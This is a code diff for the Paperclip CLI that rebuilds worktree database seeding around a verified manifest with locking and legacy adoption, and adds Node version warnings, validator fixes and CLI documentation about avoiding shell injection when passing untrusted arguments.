resolveSeedInstanceId(input.configPath), + phase: "pending", + state: "pending", + attemptId: randomUUID(), + startedAt: null, + finishedAt: null, + diagnostics: [{ + phase: "pending", + status: "succeeded", + at, + ...(input.diagnosticMessage + ? { message: input.diagnosticMessage.slice(0, WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT) } + : {}), + }], }); + // New manifests are authoritative. Legacy files are removed so no caller can + // mistake a stale binary marker for current verified seed state. + rmSync(markers.complete, { force: true }); rmSync(markers.pending, { force: true }); } -function readWorktreeSeedPendingMarker(filePath: string): WorktreeSeedPendingMarker { +function updateWorktreeSeedManifest(input: { + configPath: string; + phase: WorktreeSeedPhase; + status: "started" | "succeeded" | "failed"; + state?: WorktreeSeedManifest["state"]; + message?: string; + snapshotAt?: string | null; + migrationRevision?: string | null; + now?: Date; +}): WorktreeSeedManifest { + const markers = resolveWorktreeSeedMarkerPaths(input.configPath); + const current = readWorktreeSeedManifest(input.configPath); + if (!current) throw new Error(`Worktree seed manifest does not exist at ${markers.manifest}.`); + const at = (input.now ?? new Date()).toISOString(); + const nextState = input.state ?? current.state; + const diagnostic = { + phase: input.phase, + status: input.status, + at, + ...(input.message + ? { message: input.message.slice(0, WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT) } + : {}), + }; + const next: WorktreeSeedManifest = { + ...current, + phase: input.phase, + state: nextState, + snapshotAt: input.snapshotAt === undefined ? current.snapshotAt : input.snapshotAt, + migrationRevision: + input.migrationRevision === undefined ? current.migrationRevision : input.migrationRevision, + startedAt: current.startedAt ?? (input.status === "started" ? at : null), + finishedAt: nextState === "verified" || nextState === "failed" ? at : null, + diagnostics: [...current.diagnostics, diagnostic].slice(-WORKTREE_SEED_DIAGNOSTIC_LIMIT), + }; + writeWorktreeSeedManifest(markers.manifest, next); + return next; +} + +function readLegacyWorktreeSeedPendingMarker(filePath: string): LegacyWorktreeSeedPendingMarker { let parsed: unknown; try { parsed = JSON.parse(readFileSync(filePath, "utf8")); @@ -1452,7 +2044,7 @@ function readWorktreeSeedPendingMarker(filePath: string): WorktreeSeedPendingMar throw new Error(`Invalid worktree seed-pending marker at ${filePath}.`); } - return parsed as WorktreeSeedPendingMarker; + return parsed as LegacyWorktreeSeedPendingMarker; } const WORKTREE_SEED_LOCK_POLL_MS = 50; @@ -1546,41 +2138,269 @@ async function acquireWorktreeSeedLock(lockPath: string): Promise<() => Promise< } } +function startWorktreeSeedAttempt(configPath: string, now = new Date()): WorktreeSeedManifest { + const markers = resolveWorktreeSeedMarkerPaths(configPath); + const current = readWorktreeSeedManifest(configPath); + if (!current) throw new Error(`Worktree seed manifest does not exist at ${markers.manifest}.`); + const at = now.toISOString(); + const next: WorktreeSeedManifest = { + ...current, + state: "running", + phase: "pending", + attemptId: randomUUID(), + snapshotAt: null, + migrationRevision: null, + startedAt: at, + finishedAt: null, + diagnostics: [ + ...current.diagnostics, + { phase: "pending" as const, status: "started" as const, at }, + ].slice(-WORKTREE_SEED_DIAGNOSTIC_LIMIT), + }; + writeWorktreeSeedManifest(markers.manifest, next); + return next; +} + +async function runVerifiedWorktreeSeed(input: { + configPath: string; + sourceConfigPath: string; + sourceConfig: PaperclipConfig; + targetConfig: PaperclipConfig; + targetPaths: WorktreeLocalPaths; + instanceId: string; + seedMode: WorktreeSeedMode; + preserveLiveWork?: boolean; + expectedCompanyId?: string; + seedDatabase: SeedWorktreeDatabase; +}): Promise { + let activePhase: WorktreeSeedPhase = "pending"; + const previous = readWorktreeSeedManifest(input.configPath); + if (previous?.state === "running") { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: previous.phase, + status: "failed", + state: "failed", + message: "The previous seed attempt ended without a terminal result.", + }); + } + startWorktreeSeedAttempt(input.configPath); + + const unregisterInterruption = registerSeedInterruptHandler((signal) => { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: activePhase, + status: "failed", + state: "failed", + message: `Seed interrupted by ${signal} during ${activePhase}.`, + }); + }); + + try { + const details = await input.seedDatabase({ + sourceConfigPath: input.sourceConfigPath, + sourceConfig: input.sourceConfig, + targetConfig: input.targetConfig, + targetPaths: input.targetPaths, + instanceId: input.instanceId, + seedMode: input.seedMode, + preserveLiveWork: input.preserveLiveWork, + expectedCompanyId: input.expectedCompanyId, + onPhase: (phase, status, message) => { + activePhase = phase; + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase, + status, + state: "running", + message, + ...(phase === "snapshot" && status === "started" + ? { snapshotAt: new Date().toISOString() } + : {}), + }); + }, + }); + if (!details.snapshotAt || !details.migrationRevision || !details.validation) { + throw new Error("Seed implementation returned without required validation evidence."); + } + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: "complete", + status: "succeeded", + state: "verified", + snapshotAt: details.snapshotAt, + migrationRevision: details.migrationRevision, + message: + `Verified ${details.validation.companyCount} company record(s), ` + + `${details.validation.issueCount} issue record(s), auth, admin, membership, and migration state.`, + }); + return details; + } catch (error) { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: activePhase, + status: "failed", + state: "failed", + // Do not persist the underlying error: database/driver errors may contain + // connection credentials. The CLI still returns the exact error to its caller. + message: formatWorktreeSeedFailureDiagnostic(activePhase, error), + }); + throw error; + } finally { + unregisterInterruption(); + } +} + export async function ensureWorktreeSeeded( opts: WorktreeEnsureSeededOptions = {}, - dependencies: { seedDatabase?: SeedWorktreeDatabase } = {}, + dependencies: { + seedDatabase?: SeedWorktreeDatabase; + inspectLegacyDatabase?: typeof inspectLegacyWorktreeDatabase; + } = {}, ): Promise { const configPath = resolveConfigPath(opts.config); const markers = resolveWorktreeSeedMarkerPaths(configPath); + const initialManifest = readWorktreeSeedManifest(configPath); + if (initialManifest?.state === "verified") { + return { seeded: false, reason: "verified_manifest" }; + } + if (!initialManifest && existsSync(markers.complete)) { + return { seeded: false, reason: "complete_marker" }; + } + const legacyPending = !initialManifest && existsSync(markers.pending) + ? readLegacyWorktreeSeedPendingMarker(markers.pending) + : null; + const hasExplicitSource = Boolean(opts.fromConfig || opts.fromDataDir || opts.fromInstance); + const explicitSourceConfigPath = hasExplicitSource + ? resolveSourceConfigPath({ + fromConfig: opts.fromConfig, + fromDataDir: opts.fromDataDir, + fromInstance: opts.fromInstance, + }) + : null; + const registeredBaseWorkspaceCwd = opts.registeredBaseWorkspaceCwd + ?? nonEmpty(process.env.PAPERCLIP_WORKSPACE_BASE_CWD) + ?? null; + if (!initialManifest && !legacyPending && !hasExplicitSource && !registeredBaseWorkspaceCwd) { + if (existsSync(markers.lock)) { + const releaseExistingLock = await acquireWorktreeSeedLock(markers.lock); + await releaseExistingLock(); + } + return { seeded: false, reason: "legacy_unmarked" }; + } + const registeredProjectWorkspaceId = opts.registeredProjectWorkspaceId + ?? nonEmpty(process.env.PAPERCLIP_PROJECT_WORKSPACE_ID) + ?? null; + const expectedCompanyId = opts.expectedCompanyId + ?? nonEmpty(process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID) + ?? nonEmpty(process.env.PAPERCLIP_COMPANY_ID) + ?? undefined; + if (!explicitSourceConfigPath && registeredBaseWorkspaceCwd && (!registeredProjectWorkspaceId || !expectedCompanyId)) { + throw new Error( + "Managed worktree seed registration is incomplete; project workspace and company bindings are required.", + ); + } + + const targetRoot = path.dirname(path.dirname(configPath)); + const targetPaths = resolveWorktreeReseedTargetPaths({ configPath, rootPath: targetRoot }); + const registeredSeedSource = resolveRegisteredWorktreeSeedSource({ + registeredBaseWorkspaceCwd, + explicitSourceConfigPath, + targetConfigPath: configPath, + expectedTargetInstanceId: targetPaths.instanceId, + }); + + if (initialManifest && initialManifest.targetInstanceId !== registeredSeedSource.targetInstanceId) { + throw new Error("Worktree seed manifest target instance does not match the registered target instance."); + } + + // Resolve all authority-bearing paths before creating the lock. The manifest is + // agent-writable diagnostic evidence and never selects the source. A stale source + // diagnostic is replaced under the lock from this server/operator registration. + let canonicalSource = registeredSeedSource; mkdirSync(path.dirname(markers.lock), { recursive: true }); const releaseLock = await acquireWorktreeSeedLock(markers.lock); try { // These checks deliberately happen under the cross-process lock. A second // service process waits for the first seed transaction, then observes the - // complete marker instead of cloning the same database concurrently. - if (existsSync(markers.complete)) { - return { seeded: false, reason: "complete_marker" }; + // verified manifest instead of cloning the same database concurrently. + let manifest = readWorktreeSeedManifest(configPath); + if (manifest?.state === "verified") { + return { seeded: false, reason: "verified_manifest" }; } - if (!existsSync(markers.pending)) { - // Worktrees created before lazy seeding shipped were seeded eagerly and - // have neither marker. Preserve that compatibility without re-cloning. - return { seeded: false, reason: "legacy_unmarked" }; + if (!manifest && existsSync(markers.pending)) { + const currentLegacyPending = readLegacyWorktreeSeedPendingMarker(markers.pending); + if (currentLegacyPending.sourceConfigPath !== legacyPending?.sourceConfigPath) { + throw new Error("Worktree seed source diagnostics changed while waiting for the seed lock."); + } + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "Re-derived seed source diagnostics from the registered canonical source.", + }); + manifest = readWorktreeSeedManifest(configPath); } + if (!manifest) { + const legacyEvidence = await ( + dependencies.inspectLegacyDatabase ?? inspectLegacyWorktreeDatabase + )(configPath); + if (legacyEvidence) { + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "Validated existing legacy worktree database schema before adoption.", + }); + startWorktreeSeedAttempt(configPath); + updateWorktreeSeedManifest({ + configPath, + phase: "complete", + status: "succeeded", + state: "verified", + snapshotAt: new Date().toISOString(), + migrationRevision: legacyEvidence.migrationRevision, + message: "Adopted an existing legacy worktree database after validating its migration journal and core schema.", + }); + return { seeded: false, reason: "legacy_database" }; + } - const pending = readWorktreeSeedPendingMarker(markers.pending); - const sourceConfigPath = opts.fromConfig || opts.fromDataDir || opts.fromInstance - ? resolveSourceConfigPath({ - fromConfig: opts.fromConfig, - fromDataDir: opts.fromDataDir, - fromInstance: opts.fromInstance, - }) - : path.resolve(pending.sourceConfigPath); - - if (path.resolve(sourceConfigPath) === path.resolve(configPath)) { - throw new Error( - "Source and target Paperclip configs are the same. Pass --from-config for the source instance.", - ); + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "No verified seed or compatible legacy database was found; provisioning is required.", + }); + manifest = readWorktreeSeedManifest(configPath); + if (!manifest) { + throw new Error("Failed to create a pending worktree seed manifest."); + } } + if ( + manifest.source.configPath !== registeredSeedSource.configPath + || manifest.source.instanceId !== registeredSeedSource.instanceId + ) { + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: manifest.targetInstanceId, + seedMode: manifest.seedMode, + diagnosticMessage: "Re-derived seed source diagnostics from the registered canonical source.", + }); + manifest = readWorktreeSeedManifest(configPath)!; + } + canonicalSource = resolveCanonicalWorktreeSeedSource({ + registeredBaseWorkspaceCwd, + explicitSourceConfigPath, + targetConfigPath: configPath, + expectedTargetInstanceId: targetPaths.instanceId, + manifestSource: manifest.source, + manifestTargetInstanceId: manifest.targetInstanceId, + }); + const sourceConfigPath = canonicalSource.configPath; const sourceConfig = readConfig(sourceConfigPath); if (!sourceConfig) { @@ -1591,19 +2411,19 @@ export async function ensureWorktreeSeeded( throw new Error(`Target config not found at ${configPath}.`); } - const targetRoot = path.dirname(path.dirname(configPath)); - const targetPaths = resolveWorktreeReseedTargetPaths({ configPath, rootPath: targetRoot }); const seedDatabase = dependencies.seedDatabase ?? seedWorktreeDatabase; - const details = await seedDatabase({ + const details = await runVerifiedWorktreeSeed({ + configPath, sourceConfigPath, sourceConfig, targetConfig, targetPaths, instanceId: targetPaths.instanceId, - seedMode: "minimal", + seedMode: manifest.seedMode, preserveLiveWork: opts.preserveLiveWork, + expectedCompanyId, + seedDatabase, }); - markWorktreeSeedComplete({ configPath }); return { seeded: true, reason: "seeded", details }; } finally { await releaseLock(); @@ -1658,25 +2478,53 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { rmSync(paths.instanceRoot, { recursive: true, force: true }); } - const claimedPorts = collectClaimedWorktreePorts(paths.homeDir, paths.instanceId, paths.cwd); - const preferredServerPort = opts.serverPort ?? ((sourceConfig?.server.port ?? 3100) + 1); - const serverPort = await findAvailablePort(preferredServerPort, claimedPorts.serverPorts); - const preferredDbPort = opts.dbPort ?? ((sourceConfig?.database.embeddedPostgresPort ?? 54329) + 1); - const databasePort = await findAvailablePort( - preferredDbPort, - new Set([...claimedPorts.databasePorts, serverPort]), - ); - const targetConfig = buildWorktreeConfig({ - sourceConfig, - paths, - serverPort, - databasePort, - }); + const { serverPort, databasePort, targetConfig } = await withWorktreePortRegistryLock( + paths.homeDir, + async () => { + const registeredConfigPaths = readWorktreePortRegistry(paths.homeDir); + const claimedPorts = collectClaimedWorktreePorts( + paths.homeDir, + paths.instanceId, + paths.cwd, + registeredConfigPaths, + ); + const preferredServerPort = opts.serverPort ?? ((sourceConfig?.server.port ?? 3100) + 1); + const selectedServerPort = await findAvailablePort(preferredServerPort, claimedPorts.serverPorts); + const preferredDbPort = opts.dbPort ?? ((sourceConfig?.database.embeddedPostgresPort ?? 54329) + 1); + const selectedDatabasePort = await findAvailablePort( + preferredDbPort, + new Set([...claimedPorts.databasePorts, selectedServerPort]), + ); + const selectedConfig = buildWorktreeConfig({ + sourceConfig, + paths, + serverPort: selectedServerPort, + databasePort: selectedDatabasePort, + }); - writeConfig(targetConfig, paths.configPath); + try { + writeConfig(selectedConfig, paths.configPath); + writeWorktreePortRegistry(paths.homeDir, [ + ...registeredConfigPaths, + paths.configPath, + ]); + } catch (error) { + rmSync(paths.configPath, { force: true }); + throw error; + } + + return { + serverPort: selectedServerPort, + databasePort: selectedDatabasePort, + targetConfig: selectedConfig, + }; + }, + ); markWorktreeSeedPending({ configPath: paths.configPath, sourceConfigPath, + targetInstanceId: instanceId, + seedMode, }); const sourceEnvEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(sourceConfigPath)); const existingAgentJwtSecret = @@ -1705,8 +2553,11 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { } const spinner = p.spinner(); spinner.start(`Seeding isolated worktree database from source instance (${seedMode})...`); + const markers = resolveWorktreeSeedMarkerPaths(paths.configPath); + const releaseSeedLock = await acquireWorktreeSeedLock(markers.lock); try { - const seeded = await seedWorktreeDatabase({ + const seeded = await runVerifiedWorktreeSeed({ + configPath: paths.configPath, sourceConfigPath, sourceConfig, targetConfig, @@ -1714,16 +2565,18 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { instanceId, seedMode, preserveLiveWork: opts.preserveLiveWork, + seedDatabase: seedWorktreeDatabase, }); seedSummary = seeded.backupSummary; seedExecutionQuarantineSummary = seeded.executionQuarantine; pausedScheduledRoutineCount = seeded.pausedScheduledRoutines; reboundWorkspaceSummary = seeded.reboundWorkspaces; - markWorktreeSeedComplete({ configPath: paths.configPath, seedMode }); spinner.stop(`Seeded isolated worktree database (${seedMode}).`); } catch (error) { spinner.stop(pc.red("Failed to seed worktree database.")); throw error; + } finally { + await releaseSeedLock(); } } @@ -1774,21 +2627,17 @@ export async function worktreeEnsureSeededCommand(opts: WorktreeEnsureSeededOpti printPaperclipCliBanner(); p.intro(pc.bgCyan(pc.black(" paperclipai worktree ensure-seeded "))); - const markers = resolveWorktreeSeedMarkerPaths(resolveConfigPath(opts.config)); - if (existsSync(markers.complete) || !existsSync(markers.pending)) { - const result = await ensureWorktreeSeeded(opts); - const reason = result.reason === "complete_marker" - ? "Seed-complete marker already present." - : "No seed-pending marker found; treating this legacy worktree as already seeded."; - p.outro(pc.green(reason)); - return; - } - const spinner = p.spinner(); - spinner.start("Seeding isolated worktree database from source instance (minimal)..."); + spinner.start("Checking isolated worktree database seed state..."); try { const result = await ensureWorktreeSeeded(opts); - spinner.stop("Seeded isolated worktree database (minimal)."); + if (result.seeded) { + spinner.stop("Seeded isolated worktree database (minimal)."); + } else if (result.reason === "legacy_database") { + spinner.stop("Validated and adopted an existing legacy worktree database."); + } else { + spinner.stop("Worktree database already has a verified seed manifest."); + } if (result.details) { p.log.message(pc.dim(`Seed snapshot: ${result.details.backupSummary}`)); p.log.message( @@ -3395,6 +4244,34 @@ export async function worktreeMergeHistoryCommand(sourceArg: string | undefined, } } +async function backupWorktreeReseedTarget(input: { + targetConfig: PaperclipConfig; + targetPaths: WorktreeLocalPaths; +}): Promise { + if (input.targetConfig.database.mode !== "embedded-postgres") { + throw new Error("Managed worktree repair requires an embedded PostgreSQL target."); + } + const targetHandle = await ensureEmbeddedPostgres( + input.targetConfig.database.embeddedPostgresDataDir, + input.targetConfig.database.embeddedPostgresPort, + ); + try { + const adminConnectionString = `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/postgres`; + await ensurePostgresDatabase(adminConnectionString, "paperclip"); + const result = await runDatabaseBackup({ + connectionString: `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/paperclip`, + backupDir: path.resolve(input.targetPaths.backupDir, "repair"), + retention: { dailyDays: 30, weeklyWeeks: 12, monthlyMonths: 12 }, + filenamePrefix: `${input.targetPaths.instanceId}-pre-repair`, + backupEngine: "auto", + includeMigrationJournal: true, + }); + return formatDatabaseBackupResult(result); + } finally { + if (targetHandle.startedByThisProcess) await targetHandle.stop(); + } +} + async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { const seedMode = opts.seedMode ?? "full"; if (!isWorktreeSeedMode(seedMode)) { @@ -3450,8 +4327,23 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { const spinner = p.spinner(); spinner.start(`Reseeding ${targetEndpoint.label} from ${source.label} (${seedMode})...`); + const markers = resolveWorktreeSeedMarkerPaths(targetEndpoint.configPath); + mkdirSync(path.dirname(markers.lock), { recursive: true }); + const releaseSeedLock = await acquireWorktreeSeedLock(markers.lock); try { - const seeded = await seedWorktreeDatabase({ + let targetBackupSummary: string | null = null; + if (opts.backupTarget) { + targetBackupSummary = await backupWorktreeReseedTarget({ targetConfig, targetPaths }); + p.log.message(pc.dim(`Recoverable pre-repair backup: ${targetBackupSummary}`)); + } + markWorktreeSeedPending({ + configPath: targetEndpoint.configPath, + sourceConfigPath: source.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode, + }); + const seeded = await runVerifiedWorktreeSeed({ + configPath: targetEndpoint.configPath, sourceConfigPath: source.configPath, sourceConfig, targetConfig, @@ -3459,8 +4351,9 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { instanceId: targetPaths.instanceId, seedMode, preserveLiveWork: opts.preserveLiveWork, + expectedCompanyId: nonEmpty(process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID) ?? undefined, + seedDatabase: seedWorktreeDatabase, }); - markWorktreeSeedComplete({ configPath: targetEndpoint.configPath, seedMode }); spinner.stop(`Reseeded ${targetEndpoint.label} (${seedMode}).`); p.log.message(pc.dim(`Source: ${source.configPath}`)); p.log.message(pc.dim(`Target: ${targetEndpoint.configPath}`)); @@ -3482,6 +4375,8 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { } catch (error) { spinner.stop(pc.red("Failed to reseed worktree database.")); throw error; + } finally { + await releaseSeedLock(); } } @@ -3593,7 +4488,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--server-port ", "Preferred server port", (value) => Number(value)) .option("--db-port ", "Preferred embedded Postgres port", (value) => Number(value)) .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Skip database seeding from the source instance") .option("--force", "Replace existing repo-local config and isolated instance data", false) .action(worktreeMakeCommand); @@ -3610,7 +4505,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--server-port ", "Preferred server port", (value) => Number(value)) .option("--db-port ", "Preferred embedded Postgres port", (value) => Number(value)) .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Skip database seeding from the source instance") .option("--force", "Replace existing repo-local config and isolated instance data", false) .action(worktreeInitCommand); @@ -3629,7 +4524,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--from-config ", "Source config.json to seed from (defaults to the seed-pending marker)") .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") .option("--from-instance ", "Source instance id when deriving the source config") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services", false) .action(worktreeEnsureSeededCommand); program @@ -3660,9 +4555,10 @@ export function registerWorktreeCommands(program: Command): void { .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") .option("--from-instance ", "Source instance id when deriving the source config") .option("--seed-mode ", "Seed profile: minimal or full (default: full)", "full") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--yes", "Skip the destructive confirmation prompt", false) .option("--allow-live-target", "Override the guard that requires the target worktree DB to be stopped first", false) + .option("--backup-target", "Retain a recoverable full backup of the isolated target DB before reseeding", false) .action(worktreeReseedCommand); worktree @@ -3674,7 +4570,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") .option("--from-instance ", "Source instance id when deriving the source config (default: default)") .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Repair metadata only and skip reseeding when bootstrapping a missing worktree config", false) .option("--allow-live-target", "Override the guard that requires the target worktree DB to be stopped first", false) .action(worktreeRepairCommand); diff --git a/cli/src/index.ts b/cli/src/index.ts index b26b5cbe187..db9c8413f30 100644 --- a/cli/src/index.ts +++ b/cli/src/index.ts @@ -1,4 +1,5 @@ import { Command } from "commander"; +import { warnIfUnsupportedNodeVersion } from "@paperclipai/shared/node-version"; import { onboard } from "./commands/onboard.js"; import { doctor } from "./commands/doctor.js"; import { envCommand } from "./commands/env.js"; @@ -250,6 +251,8 @@ auth registerClientAuthCommands(auth); async function main(): Promise { + warnIfUnsupportedNodeVersion(process.versions.node, (message) => console.warn(message)); + let failed = false; try { await program.parseAsync(); diff --git a/cli/src/node-version.test.ts b/cli/src/node-version.test.ts new file mode 100644 index 00000000000..ef1cde7359e --- /dev/null +++ b/cli/src/node-version.test.ts @@ -0,0 +1,44 @@ +import { describe, expect, it } from "vitest"; +import { + formatNodeVersionWarning, + isSupportedNodeVersion, + MINIMUM_NODE_VERSION, + NODE_VERSION_INSTALL_GUIDE_URL, + warnIfUnsupportedNodeVersion, +} from "@paperclipai/shared/node-version"; + +describe("isSupportedNodeVersion", () => { + it("accepts the Node 24 LTS floor and newer releases", () => { + expect(MINIMUM_NODE_VERSION).toBe("24.11.0"); + expect(isSupportedNodeVersion("v24.11.0")).toBe(true); + expect(isSupportedNodeVersion("24.19.0")).toBe(true); + expect(isSupportedNodeVersion("v26.0.0")).toBe(true); + }); + + it("rejects pre-LTS Node 24 and older major releases", () => { + expect(isSupportedNodeVersion("v24.10.0")).toBe(false); + expect(isSupportedNodeVersion("v22.23.0")).toBe(false); + expect(isSupportedNodeVersion("unknown")).toBe(false); + }); + + it("provides non-blocking remediation text for unsupported runtimes", () => { + expect(formatNodeVersionWarning("v24.11.0")).toBeNull(); + const warning = formatNodeVersionWarning("v22.23.0"); + expect(warning).toContain("Node.js v22.23.0 is unsupported"); + expect(warning).toContain("requires Node.js 24.11.0 or newer"); + expect(warning).toContain(NODE_VERSION_INSTALL_GUIDE_URL); + expect(warning).toContain("piped install.sh form cannot upgrade"); + expect(warning).toContain("Restart Paperclip after upgrading"); + }); + + it("emits at most one warning when CLI and server boot in the same process", () => { + const warnings: string[] = []; + expect( + warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)), + ).toBe(true); + expect( + warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)), + ).toBe(false); + expect(warnings).toHaveLength(1); + }); +}); diff --git a/cli/src/prompts/server.ts b/cli/src/prompts/server.ts index 404d4ea5752..bff9e18072e 100644 --- a/cli/src/prompts/server.ts +++ b/cli/src/prompts/server.ts @@ -84,7 +84,7 @@ export async function promptServer(opts?: { : "dotta-macbook-pro, host.docker.internal", validate: (val) => { try { - parseHostnameCsv(val); + parseHostnameCsv(val ?? ""); return; } catch (err) { return err instanceof Error ? err.message : "Invalid hostname list"; @@ -156,7 +156,7 @@ export async function promptServer(opts?: { defaultValue: defaultHost, placeholder: defaultHost, validate: (val) => { - if (!val.trim()) return "Host is required"; + if (!val || !val.trim()) return "Host is required"; if (deploymentMode === "local_trusted" && !isLoopbackHost(val.trim())) { return "Local trusted mode requires a loopback host such as 127.0.0.1"; } @@ -173,7 +173,7 @@ export async function promptServer(opts?: { placeholder: "dotta-macbook-pro, your-host.tailnet.ts.net", validate: (val) => { try { - parseHostnameCsv(val); + parseHostnameCsv(val ?? ""); return; } catch (err) { return err instanceof Error ? err.message : "Invalid hostname list"; @@ -192,7 +192,7 @@ export async function promptServer(opts?: { defaultValue: currentAuth?.publicBaseUrl ?? "", placeholder: "https://paperclip.example.com", validate: (val) => { - const candidate = val.trim(); + const candidate = val?.trim() ?? ""; if (!candidate) return "Public base URL is required for public exposure"; try { const url = new URL(candidate); diff --git a/doc/CLI.md b/doc/CLI.md index c5eff04686f..f01291b2994 100644 --- a/doc/CLI.md +++ b/doc/CLI.md @@ -8,53 +8,112 @@ Paperclip CLI now supports both: ## Security: safe invocation for content-bearing arguments -Use `pnpm exec paperclipai` for any command whose argument can hold untrusted or +Use `npx paperclipai` for any command whose argument can hold untrusted or semi-trusted content. Untrusted content includes issue text, comment bodies, -Markdown, pasted snippets, and model output. `pnpm exec` runs the installed -binary directly. It passes the argument as an inert `argv` value. It does not -run a shell over the value. +Markdown, pasted snippets, and model output. `npx` runs the CLI binary directly. +It passes the argument as an inert `argv` value. It does not run a shell over the +value. `npx paperclipai` works on any machine with Node: it runs a local install +of the `paperclipai` package, and it fetches the published package when no local +install is present. -Do not use `pnpm paperclipai` for a content-bearing argument. The safe form and -the unsafe form differ only by the `exec` keyword, so read the command with -care. `pnpm paperclipai` is a `package.json` script. `pnpm` runs the argument -through `/bin/sh` first. The shell interprets these metacharacters before the -CLI starts: +Do not use `pnpm paperclipai` for a content-bearing argument. `pnpm paperclipai` +is a `package.json` script. `pnpm` builds a `/bin/sh` command string and appends +the argument to it, so the shell reads the argument first. The shell interprets +these spans before the CLI starts: - command substitution: a backtick pair or `$( )` - variable expansion: `$NAME` or `${NAME}` (this can leak a secret value into the persisted argument) -- other shell syntax: `; | & < >` A crafted value can run an arbitrary command as the invoking user. A crafted value can also expand an environment variable into the stored argument. No -CLI-side check stops this, because the shell runs before `cli/src` starts. +CLI-side check stops this, because the shell runs before `cli/src` starts. This +is true even when the argument comes from a quoted shell variable, because `pnpm` +re-evaluates the value in its own shell. Safe forms: -- `pnpm exec paperclipai ` — the documented default -- `npx paperclipai ` — also injection-safe; use it when no local - install is present. `npx` fetches the package from the npm registry when the - binary is not installed locally, so a mistyped name can start a network - fetch. `pnpm exec` never does this; it runs only the locally installed binary. -- `node /dist/index.js ` — trusted direct-binary call +- `npx paperclipai ` — the documented default. It passes an inert + `argv` value and runs on any machine. +- `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts ` — + the safe form to run the local source from a monorepo checkout. It is the exact + command that the `pnpm paperclipai` script wraps, but it runs directly, so no + shell reads the argument. Use it when you must test your local `cli/src` + changes with a content-bearing argument. -Unsafe forms for a content-bearing argument: +Unsafe or broken forms: -- `pnpm paperclipai ` -- `pnpm run